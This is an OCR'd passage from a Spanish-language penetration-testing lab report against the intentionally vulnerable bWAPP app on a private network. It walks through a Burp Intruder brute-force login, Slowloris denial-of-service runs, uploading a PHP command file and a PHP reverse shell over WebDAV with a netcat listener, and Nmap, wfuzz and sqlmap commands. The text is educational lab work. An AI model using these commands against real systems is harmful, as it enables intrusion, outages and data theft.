. /P Request to http://192.168.1.12:80
DWAPP v2.2 v || Hack
‘ J [ Hack | Forward orop | [EEES | Action OpenB.. | Comment . ¥ wren )

Set your security level: Raw  Hex N = nspector W T - & X
‘7 ‘T‘ r~'+ o l POST /bWAPP/ba_insecure_login_3.php HTTP/1.1
low v || Set e W@b 2 Host: 182.168.1.12
an eX+H vu%"ﬂ? QPP ! o et Request Attributes 2 v
4 Cache-Control: max-age=0

S Upgrade-Insecure-Requests: 1 Request Query Parameters 0o v
Origin: http://182.168.1.12

Content-Type: application/x-www-form-urlencoded

i d & User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x&4) Request Body Parameters 3 24
Bugs Change Password Create User Set Security Level AppleWebKit/537.36 (KHTHL, like Gecko)
_ Chrome/108.0.§359.125 Safari/s37.38 Régiiest Cookies 5 &
Accept
text/html,application/xhtmltxml,application/xnl;q=0.9,in
age/avit,image/webp, image/apng,*/*;q=0.8,application/sig | Request Headers 13 v

B K A L - ned-exchange;v=b3;q=0.9
/ Broken Auth - Insecure ogm 10 Beterer
http://192.168.1.12/bWAPP/ba_insecure_login_3.php
Accept-Encoding: gzip, deflate
Les;q=0.

2 Accept-Language:
13 Cookie: PHPSESSID
security_level=2

Enter your credentials

Login 14 Connection: close
‘dsad 1¢ login=d: SR it

Password

Remember: a bee is

Imagen 162: Interceptar con BurpSuite
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61. Ya seleccionado el payload correspondiente al usuario y la contrasefia se configura
mediante la asignacion de lista simple para el desarrollo del ataque

Burp Project Intruder Repeater Window Help

Dashboard Target Intruder Repeater Sequencer Decoder Comparer Logger Extensions Leamn {7 settings
1 x 2 x . Q
Pasitions Payloads Resource Pool Options

(2) Payload Sets
You can define one ar more payload sets. The number of payload sets depends on the attack type defined in the Positions tab, Various payload types are available for each payload set, and each payload type can be customized in different ways.

Fayload set: | 2 ~ | Payload count: §

Payload type: | Simple list ~ | Requestcount: 20

(3) Payload Options [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste admin
bug
Load.. contra
Remove
>
Clear
Deduplicate
Add

@ Payload Processing
You can define rules to perform various pracessing tasks on each payload before it is used.
Add Rule
Edit

Remove

Imagen 163: Insertar lista simple en los paylodas

62. Dar juico al ataque y con éxito se encuentra las credenciales de usuario.

Attack  Save  Columns 2, Intruder attack of http://192,168.1.12 - Temporary attack - Not saved to project file - X
Results  Positions  Payloads  ResourcePool  Options

Filter: Showing all items (@)

Requ... Payload 1 Payload 2 Status  Emor Timeout Length incorr... P1grep P2 grep Comment

0 200 13861

1 admin 200 13861 255+

2 admin admin 200 13861

3 bee admin 200 13861 2

4 usuario admin 200 13861

5 bug 200 13861 255+ 6

6 admin bug 200 13861 6

7 bee bug 200 13860 2 6

8 usuario bug 200 13861 6

9 contra 200 13861 255+

10 admin contra 200 13861

" bee contra 200 13861 2

12 usuario contra 200 13861

13 200 13861 255+ 255+

14 admin 200 13861 255+

15 bee 200 13861 2 255+

16 usuario 200 13361 255+
Request  Response

Pretty Raw Hex Render

/ Broken Auth - Insecure I_ogin Forms /

Enter your credentials

Login

Password

O8a

| Login

Successful login!
Finished

Imagen 164: Atagque exitoso
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Escenario #19: Saturar el sistema de alojamiento del entorno mediante avalancha de
peticiones
Objetivo: Dejar la aplicacién web en estado no funcional

Complejidad: Bajo
Tiempo: 10 minutos

63. Primero se descarga el codigo de ataque de denegacion de servicio

©) GitHub - gkbrk/slowloris: X
(3 C @ O B hitps://github.com

KaliLinux # Kali Tools = KaliDocs ¥ Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

O Product Solutions Open Source Pricing Signin  Sign up

B gkbrk / slowloris ¢ % Fork 633 Y7 Star 19K

£ master - P 1 Code ~ About

&I} Koi gkbrk Fix u:
[ LICENSE
) MANIFEST.in

3 README.md

[?) Download ZIP

Imagen 165: Descargar el repositorio de Slowloris - - fuente de fondo de pantalla:
https://images4.alphacoders.com/116/thumbbig-1165712.webp

64. Luego de realizar la descarga, se realiza la ejecucion de descomprimir el archivo con
la herramienta unzip.

Archivo Maquina Ver Entrada Dispositivos a
B eaPOor)-|1 2 3 | F | o a mas | & &

root@kali: fhome/kali/Downloads/slowloris

File Actions Edit View Help File Actions Edit View Help
/home/kali
contra.txt
/home/kali
Downloads

/home/kali/Downloads

/home/kali/Downloads

/home/kali/Dounloads

/home/kali/Downloads/slowloris

/home, nloads/slowloris
slowloris-ma: [ |

Imagen 166: Descomprimir la carpeta Slowloris - fuente de fondo de pantalla:
https://images4.alphacoders.com/116/thumbbig-1165712.webp
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65. Existe una seccidn de ayuda sobres los diversos comandos para incorporar el ataque.

2]
Archivo Maquina Ver Entrada Dispositivos Ayuda
BERpor 2 _ o

root@kali: lhome/kali/Downloads/slowloris/slowloris-master

File Actions Edit View Help File Actions Edit View Help

/home/kali /home/kali/Downloads/slowloris/slowloris-master
apache2 start
usage: slowloris.py [-h] [-p PORT] [-s SOCKETS] [-v] [-ua] [-x]
/home/kali [—proxy-host PROXY_HOST] [--proxy-port PROXY_PORT]
[—https] [-—sleeptime SLEEPTIME]
[host]

Slowloris, low bandwidth stress test tool for websites

positional arguments:
Host to perform stress test on

show this help message and exit
ort PORT Port of webserver, usually 80

-5 SOCKETS, --sockets SOCKETS

Number of sockets to use in the test
-v, —verbose Increases logging
-ua, --randuseragents

Randomizes user-agents with each request

useproxy Use a SOCKS5 proxy for connecting

--proxy-host PROXY_HOST

SOCKS5 proxy host
—-proxy-port PROXY_PORT

SOCKS5 proxy port
—https Use HTTPS for the requests
--sleeptime SLEEPTIME

Time to sleep between each header sent.

/home/kali/Downloads/slowloris/slowloris-master

Imagen 167: Paneles de ayuda de Slowloris - - fuente de fondo de pantalla:
https://images4.alphacoders.com/116/thumbbig-1165712.webp

66. Se observa el cddigo

i@
Archivo Maquina Ver Entrada Dispositivos Ayuda
SemPorl| 2 | » € o : m48 | @ G
E 2 root@kali: /home/kali/Downloads/slowloris/slowloris-master
File Actions Edit View Help File Actions Edit View Help
GNU nano 6.4 slowloris.py
/home/kali

apache2 start

/home/kali

sockets.”, ip, socket_count)

list_of_sockets.append(s)

slowloris_iteration()
(KeyboardInterrupt,
logging.info("Stopping

Exception
ion: {e}")
.sleeptime)

Where Is J§ Cut Execute
Repnlace Wl paste Justifv

Imagen 168: Cadigo Slowloris - fuente de fondo de pantalla:
https://images4.alphacoders.com/116/thumbbig-1165712.webp
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67. Se realiza la ejecucion del programa para el ataque de denegacion de servicio con el
puerto correspondiente.

Archivo Maquina Ver Entrada Dispositivos Ayuda

EmEPo-|1 23 4|0 5 Pl o a ms0 | & &

root@kali: fhome/kali/Downloads/slowloris/slowloris-master

File Actions Edit View Help

©) GitHub - gkbrk/slowloris: X  192.168.1.12/

& C @ O & 192168.1.12 & o
/home/kali/Downloads/slowloris/slowloris-master
8 X2

KaliLinux # KaliTools # KaliDocs N Kali Forums e Kali NetHunter Exploit-DB 2
.1.12 with 150 sockets.

bWAPP, an extremely buggy web app [iEs [68] Crosting soskat I
: Creating socket

| i :08] Creatin
L .

Creating
Creati
bWAPP
Drupageddon [ ] Creating
Evil folder [ - 1 Creating
phpMyAdmin : s
SQLiteManager [ 2 23 :50:08] Creating socket

] Creating socket
cket

Creating
Creating
Creating
Creating
Creating
Creating

socket
socket

1 Creating socket

9] Creating socket

] Creating
Creating socket
Creating socket

Imagen 169: Ejecucion de Slowloris, envid de peticiones - fuente de fondo de pantalla:
https://images4.alphacoders.com/116/thumbbig-1165712.webp

Escenario #20: Saturar el sistema de alojamiento del entorno mediante avalancha de
peticiones
Objetivo: Dejar a la aplicacién web en estado no funcional

Complejidad: Medio
Tiempo: 3 minutos

68. Se realiza lo mismo paso del escenario 19 y se ejecuta el siguiente comando

Archivo Miquina Ver Entrada Dispositivos Ayuda
B eomP o] : : 2027 | & &

* bWAPP - Security Misco
File Actions Edit View Help
= X o O & 192168111 los_ bk O]
/home/kali/slowloris

KaliLinux # KaliTools @ KaliDocs N Kali Forums X Kali NetHunter Exploit-DB . 168.1.11 850
1.11 with 850 sockets.

131 s...
Choose your@@ 3] Sending ke ive headers ...
. Socket count
;7Q§qoimm§nd Injection v | | Hack H Creating 569 new sockets ...

Set your security level

ah ex+re.'—‘i—“."c.yvéii‘,j%“\7 e\"ﬁéﬁ“’b"pp |

Change Password Create User Set Security Level Reset Cr

/ Denial-of-Service (Slow HTTP Dos)

The Apache web server is vulnerable to Slow HTTP DoS attacks! (bee-box only)

Unleash the beezzz!

Imagen 170: Slowloris ataques denegacion de servicio — nivel medio
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Escenario #21: Saturar el sistema de alojamiento del entorno mediante avalancha de
peticiones

Objetivo: Dejar a la aplicacion web en estado no funcional
Complejidad: Alto
Tiempo: 3 minutos

69. Se realiza lo mismo paso del escenario 19 y se ejecuta el siguiente comando

uina Ver Entrada Dispositivos Ayuda

“m PO 2 3 4| & X ; 2029 | @& &

* bWAPP - Security Miscon X = + =
File Actions Edit View Help
€ > X @ O A 19216811 fos_1.§ & @
/home/kali/slowloris
KaliLinux # KaliTools ¢ KaliDocs N Kali Forums X Kali NetHunter Exploit-DB is. 2. .1.11 3000

.168.1.11 with 3000 sockets.
Choose your%

BWAPP v2.2 ~ | [ Hack | 2 i new sockets ...
” 1 headers ...

Set your security level:

o ex+re.'?"\i,n/vra§i§:5%“§/"e\"ﬁ§@' app [

Change Password Create User Set Security Level Reset Credit

Denial-of-service (Slow HTTP Dos) /

Apache wet

server is vulnerable to Slow HTTP DoS attacks! (bee-box only)

Imagen 171: Slowloris denegacion de servicio — Nivel Alto

Escenario #22: Insercion de fichero malicioso en el protocolo WebDav

Objetivo: Conocer los archivos existentes que cuenta el servidor
Complejidad: Medio
Tiempo: 5 minutos

70. Configurar la seguridad a medio en la opcion “Set Security Level”

&¢ bWAPP - Security Misconfigurat

q C No es seg; 192.168.1.11

@ Choose your bug
I Y P—— | P77y

Set your security level:
[low  v|[set| Current medium

on extremely buﬁﬂy web opp ‘.

Bugs Change Password Create User Set Security Level Reset Credits Blog Logout

/ Insecure WebDAV Con?iauraﬁon /

The Apache web server has an insecure WebDAV configuration! (bee-box only)

HINT: defacement is possible.

osa

Imagen 172: WebDav — Nivel Medio
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71. Dar clic en WEBDAYV Yy observamos archivos.

Archivo  Mquina Vel

BempPor|

Index of /webdav
Q & 192168112

Kali Linux §8 KaliTools @ KaliDocs N Kali Forums @ Kali NetHunter s Exploit-DB % Google Hacking DB Il OffSec

Index of /webdav

Name Last modified Size Description
& Parent Directory .
Iron Man.pdf 02-Nov-2014 23:52 531K

Terminator Salvation.pdf  02-Nov-2014 23:52452K
The Amazing Spider-Man.pdf 02-Nov-2014 23:52 532K
The Cabin in the Woods.pdf 02-Nov-2014 23:52 514K
The Dark Knight Rises.pdf —02-Nov-2014 23:52 739K
The Incredible Hulk.pdf 02-Nov-2014 23:52 604K
bWAPP_intro.pdf 02-Nov-2014 23:52 4.8M

Apache/2.2.8 (Ubuntu) DAV/2 mod fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Server at 192.168.1.12 Port 80

Imagen 173: Lista de archivos del protocolo WebDav

72. Se utiliza la herramienta cadaver para cargar archivos y visualizar lo que contenga el
servidor en ese protocolo.

Archivo Méquina Ver Entrada Dispositivos Ayuda

BEmPoO |1 234|005

root@kali: fhome/kali

File Actions Edit View Help

R¢ bWAPP - Security Miscor X Index of /webdav

C @ O & 192168.1.12
/home/kali

1 KaliLinux #8 KaliTools # KaliDocs ¥ Kali Forums & Kali NetHunter Exploit-DB
dav: !>

Index of /webdav

Name Last modified Size Description

& Parent Directory -
Iron_Man.pdf 02-Nov-2014 23:52 531K
Terminator Salvation.pdf 02-Nov-2014 23:52 452K
The Amazing_Spider-Man.pdf 02-Nov-2014 23:52 532K
The Cabin_in_the Woods.pdf 02-Nov-2014 23:52 514K
The Dark Knight Rises.pdf 02-Nov-2014 23:52 739K
The Incredible Hulk.pdf 02-Nov-2014 23:52 604K
bWAPP_intro.pdf 02-Nov-2014 23:52 4.8M

Apache/2.2.8 (Ubuntu) DAV/2 mod _fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with
Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Server at 192.168.1.12 Port 80

Imagen 174: Usar cadaver para subir archivo- fuente de fondo de pantalla:
https://images4.alphacoders.com/116/thumbbig-1165712.webp
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73. Con el siguiente comando, se observa la ayuda para realizar diferentes procesos

Archivo Maquina Ver Entrada Disposiivos Ayuda

SEmPO|1 23 4| 7

footkat fionslial & DWAPP - Security Miscor X Index of jwebdav
File Actions Edit View Help
C e O A 192168.1.12/webd id

KaliLinux # KaliTools ¢ KaliDocs ¥ KaliForums KaliNetHunter & Exploit-DB )

/home/kali

dav:!> help
Available commands:

o e ot gt omget om Index of /webdav

less mkcol cat delete rmcol copy

lock unlock discover steal showlocks version

checkout  uncheckout history label propnames chexec Name Last modified Size Description
propget propdel propset search set open close S L e L
echo quit unset lcd 11ls 1pwd logout
help describe  about a Parent Directory
Aliases: rm=delete, mkdir=mkcol, mv=move, cp=copy, more=less, quit=exit=bye B

av:!> open http://192.168.1.12/webdav/ Iron Man.pdf 02-Nov-2014 23:52 531K
dav:/webiavi it Terminator Salvation.pdf ~ 02-Nov-2014 23:52 452K

Listing collection */webdav/': succeeded. -
Iron_Man.pdf 543803 The Amazing_Spider-Man.pdf 02-Nov-2014 23:52 532K

Terminato lvation.pdf

_Spider-Man.pdf i The Cabin in the Woods.pdf 02-Nov-2014 23:52 514K

Di“-lgé;’[‘ei‘;‘gggsﬁggf ggﬁlfj The Dark Knight Rises.pdf ~02-Nov-2014 23:52 739K
The_Incredible_Hulk.pdf 618117 The Incredible Hulk.pdf 02-Nov-2014 23:52 604K

b Womar it il BWAPP intro.pdf 02-Nov-2014 23:52 4.8M

Apache/2.2.8 (Ubuntu) DAV/2 mod fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with
Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Server at 192.168.1.12 Port 80

Imagen 175: Comando help - fuente de fondo de pantalla:
https://images4.alphacoders.com/116/thumbbig-1165712.webp

74. Con el comando open pegar la direccion en index of / webdav y con un Is recuperamos
la lista de los archivos.

Archivo Maquina Ver Entrada Dispositivos Ayuda
B EomPOC]| 23 4|05

root@halt fromelal & bWAPP - Security Miscon X Index of jwebdav
File Actions Edit View Help

C @ O A 192168112
/home/kali

KaliLinux #8 KaliTools # KaliDocs N Kali Forums @ Kali NetHunter Exploit-DB

dav:!> help
Available commands:
s m wd gt oget et mput Index of /webhdav
edit less mkcol cat delete rmcol copy
move lock unlock discover steal showlocks version
checkin checkout  uncheckout history label propnames chexec Name Last modified Size Description
propget propdel propset search set open close
echo quit unset lcd 11s Tpwd logout
help describe  about aParent Directory %
Aliases: rm=delete, mkdir=mkcol, mv=move, cp=copy, more=less, quit=exit=bye T T
dav:!> open http://192.168.1.12/webdav/ Iron_Man.pdf 02-Nov-2014 23:52 531K
Llstmzbgz\{{:cgon */webdav/': succeeded. wﬂ 02-Nov-2014 23:52 452K

Iron_Man.pdf 543803 The Amazing_Spider-Man.pdf 02-Nov-2014 23:52 532K

r_Salvation.pdf 462949

544600 The Cabin in the Woods.pdf 02-Nov-2014 23:52 514K

e ;nigﬂeaﬁifs;if 55;;“ : The Dark Knight Rises.pdf 02-Nov-2014 23:52 739K
The_Incredible_Rulk.pdf 618117 The _Incredible Hulk.pdf 02-Nov-2014 23:52 604K
DWAEP intro:pel o918942 ' bWAPP _intro.pdf 02-Nov-2014 23:52 4.8M

dav: /webdav/> i

Apache/2.2.8 (Ubuntu) DAV/2 mod _fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with
Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Server at 192.168.1.12 Port 80

Imagen 176: Comando open para abrir la ruta - fuente de fondo de pantalla:
https://images4.alphacoders.com/116/thumbbig-1165712.webp
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75. Se crea un archivo de php con el método system para poder ejecutar comando mediante
el fichero

Archivo Maquina Ver Entrada Dispositivos Ayuda
SEEPOF|1 23 4|0 5 A 020|ac

root@kali: fhome/kali
File Actions Edit View Help File Actions Edit View Help

/home/kali

dav:!> help
Available comma
1s cd pwd put get mget
edit less mkcol cat delete rmcol
move lock unlock discover steal showlocks
checkin checkout  uncheckout history label propnames
propget propdel propset search set open close
echo quit unset lcd 11s lpwd logout
describe  about
mkdir=mkcol, mv=move, cp=copy, more=less, quit=exit=bye

!> open http://192.168.1.12/webdav/

/webdav/> 1s
Listing collection */webdav/' ceeded.

pider-Man.pdf
the_Woods.pdf
] 2 ht_Rises.pdf
The_Incredible_Hulk.pdf
bWAPP_intro.pdf 5010042
dav:/webdav/> put
The “put' command requires 1 argument:
put local [remote] : Upload local file
da ebdav/> []

e Help K write out J Where Is [ Cut Bl Execute [ Location
R Exit Ml Read File g Replace Hl] Paste B Justify @l Go To Line

Imagen 177: Creacion de fichero malicioso php - fuente de fondo de pantalla:
https://images4.alphacoders.com/116/thumbbig-1165712.webp

76. Con el comando put se realiza la carga de archivo, por ende, el comando “put
archivito.php archivito.php” hace la ejecucion de subir el archivo al entorno.

Archivo Maquina Ver Entrada Dispositivos Ayuda

S mmPoOr| 23 4|9 F

¢ bWAPP - Security Miscon X Index of /webdav
File Actions Edit View Help

C @ O A 192168112
/home/kali

Kali Linux #8 KaliTools @ KaliDocs W Kali Forums X Kali NetHunter Exploit:
dav:!> help
Available commands:
R T T S S Index of /webhdav
edit less mkcol cat delete rmcol
move lock unlock discover steal showlocks
checkin checkout  uncheckout history label propnames che: Name Last modified Size Description
B propdel propset search set open close
quit unset lcd 11s 1pwd logout
describe  about . & Parent Directory .
: rm=delete, mkdir=mkcol, mv=move, cp=copy, more=less, quit=exit=bye N N
ozen :t{u://192.1684142/web Iron_Man.pdf 02-Nov-2014 23:52 531K
ebdavip)ly [ Terminator Salvation.pdf ~ 02-Nov-2014 23:52 452K
ting collection */webdav/': succeeded. R e A .
Iron_Man.pdf 543803 Nov The_Amazing_Spider-Man.pdf 02-Nov-2014 23:52 532K
462949 Nov 3
pak The _Cabin in_the Woods.pdf 02-Nov-2014 23:52 514K
e e : 3;2;3 v ) The Dark Knight Rises.pdf ~02-Nov-2014 23:52 739K
_Dark_Knight _Ris 6522 v - = — -
The_Incredible_Hulk.pdf 618117 The Incredible Hulk.pdf 02-Nov-2014 23:52 604K
bWAPP_intro.pdf 5010042 o
b [3) archivito.php 06-Jan-2023 04:09 36
The “put' command requires 1 argument: bWAPP iIltI‘O‘pdf 02-Nov-2014 23:52 4.8M
put local [remote] ile = a0
dav:/webdav/> put archivito.php archivito.php
Uploading archivito.php to °/webdav/archivito.php' Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with

Progre 3 {\DZ] 100.0% of 36 bytes succeeded. Suhosin-Patch mod ssl/2.2.8 OpenSSL/0.9.8g Server at 192.168.1.12 Port 80
nebdav />

Imagen 178: Subir el fichero malicioso con el comando put - fuente de fondo de pantalla:
https://images4.alphacoders.com/116/thumbbig-1165712.webp
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77. Se ejecuta el programa con el comando id, se da como resultado el grupo de usuario y
la id de usuario que da privilegio a los archivos

“mP

¢ bWAPP - S nde av X 192.168.1.12/webdavfarchivit X
¢ C o O & 192168112

Kali Linux 8 KaliTools @ KaliDocs & Kali Forums ¢ Kali NetHunter ® Exploit-DB % Google Hacking DB ! OffSec

uid=33(www-data) gid=33(www-data) groups=33(www-data) uid=33(www-data) gid=33(www-data) groups=33(www-data)

Imagen 179: Ejecucion del comando id para saber el grupo, id, y privilegio del usuario

78. Con el comando Is podemos ver los archivos mediante el fichero

a 02| a e

s &\ Kali NetHunter Exploit-DB Google Hacking DB OffSec

HACKEADO

Iron Man.pdf

Terminator Salvation.pdf
The Amazing Spider-Man.pdf
The_Cabin_in_the_Woods.pdf
The_Dark_Knight_Rises.pdf
The Incredible Hulk.pdf
bWAPP_intro.pdf

codigo.php

datos. txt

fichere.php

Imagen 180: Efectuar el comando Is para conocer en lista que archivos existen
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Escenario #23: Insercion de codigo malicioso php para accion reverse_shell en el
protocolo WebDav

Objetivo: Realizacion de Reverse_Shell de maquina atacante a victima para escalar
privilegio

Complejidad: Alto
Tiempo: 26 minutos

79. Descargar el archivo php — php-reverse-php.php

<€) php-reverse-shell/php-r *

ttps://github.com/pentestmont p- —shell/blob/mast

! Kali NetHunter Exploit-DB Google Hacking DB

Imagen 181: Descargar el script php-reverse-shell.php

80. Guardar en la location Kali

Archivo M ntrada yuda
qomPp 2 L A p20v|ac
® bwa =

Name: php-reverse-shell.php

>

Home 4 #kali Downloads

Desktop Name ~ Size Type Modifie
Documents

Downloads.

Music

+ 8 @ a+=® 1

Other Locations

plain text document ~

@ Cancel [ Save
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Imagen 182: Guardar el script en la direccion KALI

81. Mediante cadaver abrir la ruta de los archivos con el comando open

Archivo Maquina Ver Entrada Dispositivos Ayuda
B EmmB OO 25 40

R¢ bWAPP - Security Miscor X Index of fwebdav

root@kali: /home/kali

File Actions Edit View Help

« C @ O @& 19216811 w @
/home/kali

Kali Linux #8 KaliTools ¢ KaliDocs N KaliForums o Kali NetHunter Exploit-DB

Index Of /webdav Listing collection "/webdav/': succeeded.
Iron_Man.pdf 543803
Terminator_Salvation.pdf 462949
Name Last modified Size Description The_Amazing_Spider-Man.pdf 544600
The_Cabin_in_the_Woods.pdf 526187
The_Dark_Knight_Rises.pdf 756522
5 Parent Directory - The_Incredible_Hulk.pdf 618117
N bWAPP_intro.pdf 5010042
Iron Man.pdf 02-Nov-2014 23:52 531K fichero.php 66

Terminator Salvation.pdf ~ 02-Nov-2014 23:52 452K dav:/wehiav/e |
The Amazing_Spider-Man.pdf 02-Nov-2014 23:52 532K
The Cabin in the Woods.pdf 02-Nov-2014 23:52 514K
The Dark Knight Rises.pdf 02-Nov-2014 23:52 739K
The Incredible Hulkpdf  02-Nov-2014 23:52 604K
bWAPP intro.pdf 02-Nov-2014 23:52 4.8M
[3) fichero.php 15-Jan-2023 20:44 66

Apache/2.2.8 (Ubuntu) DAV/2 mod _fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with
Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g Server at 192.168.1.11 Port 80

Imagen 183: Cadaver establecer conexion a la ruta del protocolo

82. Antes de subir el archivo al entorno configurar la direccién y el puerto de la méaquina
atacante

Archivo Miquina Ver Entrada Dispositivos Ayuda

B EmP O 2 3 4

root@kali: fhome/kali

File Actions Edit View Help

GNU nano 6.4 php-reverse-shell.php *

set_time_limit (0);

= null;

un.

Help I write out [ where Is Cut Execute Location Undo R set mark To Bracket [ Previous

Imagen 184: Insertar la direccion y el puerto en el archivo reverse_shell.ph
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83. Con el comando put efecutar subir el archivo

Archivo Maquina Ver Entrada Dispositivos Ayuda
A EmPoOH|1 23 4 ; lowapon|ae

R¢ bWAPP - Security Miscor X Index of webdav
File Actions Edit View Help

¢ C @ O & 192168111/webda v
/home/kali
Kali Linux § KaliTools # KaliDocs ¥ KaliForums e Kali NetHunter  Exploit-DB
dav:!> open http://192.168.1.11/webdav/
dav:/webdav/> 1s
Index Of /webdav Listing collection °/webdav/': succeeded.
Iron_Man.pdf 543803 Nov
Terminator_Salvation.pdf 462949 Nov

Name Last modified Size Description The_Amazing_Spider-Man.pdf 544600 Nov
The_Cabin_in_the_Woods.pdf 526187 Nov

The_Dark_Knight_Rises.pdf 756522 Nov
aParent Directory P The_Incredible_Hulk.pdf 618117 Nov
N . bWAPP_intro.pdf 5010042 Nov
Iron Man.pdf 02-Nov-2014 23:52 531K fichero.php 66 Jan 15 14:44
5 : : . i ’ dav:/webdav/> put php-reverse-shell.php php-reverse-shell.php
—Tennmatorfsalvanon,ﬂ 02-Nov-2014 23:52 452K Uploading php-reverse-shell.php to */webdav/php-reverse-shell.php':
The_Amazingf_Spider»Man.;&f02—Nov-2014 23:52532K Progress: [=————————————-] 100.0% of 5491 bytes succeeded.

5
dav:/webdav /> []

The Cabin in the Woods.pdf 02-Nov-2014 23:52 514K
The Dark Knight Rises.pdf 02-Nov-2014 23:52 739K
The Incredible Hulk.pdf 02-Nov-2014 23:52 604K

bWAPP intro.pdf 02-Nov-2014 23:52 4.8M
[3) fichero.php 15Jan-2023 20:44 66
[# php-reverse-shell.php 12-Feb-2023 02:41 5.4K

Apache/2.2.8 (Ubuntu) DAV/2 mod fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with
Suhosin-Patch mod ssl/2.2.8 OpenSSL/0.9.8g Server at 192.168.1.11 Port 80

Imagen 185: Subir el archivo con el comando put

84. Tras ejecutar el script y escuchar en la maquina con el comando netcat —lvnp 4242 se
da la comunicacion. Escalar privilegio en el servidor para instruir y robar datos

i

Archivo Maquina Ver Entrada Dispositivos Ayuda

BEmPOC]|1 23 4|05 |
R

& bWAPP - Security Miscor X = Index of /webdav. roctat Modncflati

File Actions Edit View Help

X @ O @ 192168111 % ® = s
$1s
KaliLinux # KaliTools ¢ KaliDocs M Kali Forums & Kali NetHunter Exploit-DB bin
boot
cdrom
Index of /webdav dev
etc
home
Name Last modified Size Description initrd
initrd.img

& Parent Directory - {:Sbh
Iron_Man.pdf 02-Nov-2014 23:52 531K Lok
Terminator_Salvation.pdf 02-Nov-2014 23:52 452K ';:;;

The Amazing_Spider-Man.pdf 02-Nov-2014 23:52 532K proc

root

he Cabin in the Woods.pdf 02-Nov-2014 23:52 514K Shin
The Dark Knight Rises.pdf 02-Nov-2014 23:52 739K
The_Incredible Hulk.pdf 02-Nov-2014 23:52 604K

p
toolbox

bWAPP _intro.pdf 02-Nov-2014 23:52 4.8M tae

@ fichero.php 15-Jan-2023 20:44 66 \"3{
vmlinuz

[?) php-reverse-shell.php 12-Feb-2023 02:54 5.4K

Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with
Suhosin-Patch mod _ssl/2.2.8 OpenSSL/0.9.8g Server at 192.168.1.11 Port 80

wolverine

Imagen 186: Escalar rutas gracias al script
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ANEXO 5: POST-
EXPLOTACION



MAQUINA VIRTUAL BWAPP
Enumeracion de puertos mediante la herramienta Nmap para conocer los servicios y

versiones que soporta el sistema.

1. Se realiza escaneo de puertos como técnica de recopilacion informacién util para
identificar vulnerabilidades o puntos de entradas débiles del sistema informaético, se
puede conocer, puertos abiertos, archivos, servicios y versiones que utilizan, entre
otros.

Archivo Maquina Ver Entrada Dispositvos Ayuda
B EmPOF]-|1 2 3 4| a 850 | @ &

root@kali: /home/kali

File Actions Edit View Help

01-13 18:47 EST

Not shown: 983 cl
STATE SERVICE
open ftp :
open ssh OpenSSH 4.7p1 Debian 8ubuntul (protocol 2.0)
open smtp Postfix smtpd
open http Apache httpd / E penssL/0.9.8g)
open netbios- amba smbd
open ssl/http Apache httpd 2.2. ) DAV/: f .4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ss1/2.2.8 OpenSSL/0.9.8g)
open netbios-ssn Samba 3 .X (workgroup: ITSECGAMI
/ open exec netkit-r
513/tcp open login?
514/tcp open shell?
6 cp open
open
open VNC (protoco
p open X (ac enied)
0/tcp oper
8 cp open
9080/tcp open
1 service unrecognized

20Mo
\0\e\o\ \ \
0\0\0\0\0\0\ \0\0\0\0\0\0\0\0\0\
0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\
\ \0\0\0\0\0\0\0\0 \o\
0\0\0\0\0\0\0\0\0\! \0\0\0\0\0\0\0\ 0\0\0\0\0\0\0\0\0\
\0\0\0\0\o\ \ 0\
0\0\0\0\0\
F:\0\o\

Imagen 187: Escaneo de la red mediante la herramienta Nmap —-BWAPP - fuente de fondo de
pantalla: https://images4.alphacoders.com/116/thumbbig-1165712.webp

Ataque de fuerza bruta para la obtencion de credenciales de usuario

2. Luego de la ejecucion de diversas pruebas de seguridad, estd la obtencion de
credenciales de usuarios que es otra informacion critica para un atacante, ya que se
tendrian datos para autenticacion y acceso al sistema, hacer escalada de privilegio y
seguir ejecutando méas acciones con malas intenciones.

Archivo Maquina Ver Entrada Dispositvos Ayuda
B omP a0 3 | F 2 19:03 | @& &
“ root@kali: fhome/kali
File Actions Edit View Help
rning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check
more informati

* Wfuzz 3.1. e Web Fuzzer *
-

2.168.1.12/bWAPP/ba_captcha_bypass.php?login= passsowrd captcha_user=6f%23Zpz6from=submit

dmin - admin”
dmin - password”

magen 188: Obtener credenciales por Ataque de fuerza bruta — BWAPP - fuente de fondo de
pantalla: https://images4.alphacoders.com/116/thumbbig-1165712.webp
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Injection SQL mediante la herramienta SQLMAP para conocer, la base de datos del
entorno, usuarios, tablas, entre otros,

3. En la prueba de inyeccion sqgl se usé la herramienta sqlmap, para obtener informacion
como el nombre de la base de datos del sistema al que estamos atacando, se utilizo el
siguiente comando: sqlmap —u http://192.168.1.12/bWAPP/sgli_1.php?title=sql —
cookie="PHPSESSID=a809¢c3870fb993482ec74c5ab585649¢; security level=0"
dbs.

root@kali: /home/kali

Imagen 189: Comando de ejecucion SQLMAP -dbs

Se obtuvo 4 base de datos disponibles

nd DBMS is MySQL
Linux Ubuntu 8.
PHP , Ap.

d data logged to text files under '/root/.local/share/sqlmap/output/192.168.1.12"

Imagen 190: Resultado de la injeciton — Databses -BWAPP

4. Tras conocer las bases de datos que cuenta el sistema, usamos el siguiente comando
para obtener las tablas de la database:

Sqlmap —u http://192.168.1.12/bWAPP/sqgli_1.php?title=sql --

cookie="PHPSESSID=a809¢3870fb993482ec74c5ab585649¢;
security level=0" -D bWAPP --tables

root@kali: /home/kali

File Actions Edit View Help

/home/kali
